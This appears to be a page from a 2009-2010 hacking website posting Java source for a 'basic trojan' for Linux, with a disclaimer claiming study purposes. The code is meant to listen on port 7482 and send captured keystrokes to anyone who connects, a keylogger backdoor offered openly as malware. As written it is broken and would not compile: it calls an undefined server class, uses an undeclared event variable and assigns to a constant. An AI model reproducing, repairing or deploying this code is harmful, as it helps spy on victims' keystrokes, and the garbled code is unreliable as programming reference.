#Home
|
#Search
|
#IRC(
WEB
/
Client
)
|
#MD5 Cracker
|
#Categories
|
#Links
|
#About
Basic torjan with java for linux
/* * Basic torjan with java for linux, run on port 7482!!! * Powered by Pr0xY Please do not make the abuse of the code. I wrote the code for purposes of study not only take responsibility for any damage that may be caused to the use of it! So please think twice before you do anything foolish! */ import java.io.*; import java.net.*; import java.util.*; public class Torjan { private ServerSocket sock; public static final String keyClick = ""; public static final int PORT = 7482; // Torjan port public static void main(String args[]) throws IOException { TCPSimpleServer server = new TCPSimpleServer(); server.run(); } public static void run() { Socket soc = null; sock = new ServerSocket(PORT); while(true) { soc = sock.accept(); OutputStream os = soc.getOutputStream(); OutputStreamWriter osw = new OutputStreamWriter(os,"8859_1"); BufferedWriter bw = new BufferedWriter(osw); keyClick = keyBoard(); if(keyClick != "") { bw.write(keyClick); keyClick = ""; } } bw.close(); soc.close(); } private static String keyBoard() { int keyCode = evt.getKeyCode(); int modifiers = evt.getModifiers(); if (evt.isControlDown()) return " + CTRL + "; else return modifiers; } }
Back
Send all submissions to nullbyte.israel[at]gmail.com
Copyright © 2009 - 2010 | Queries: 4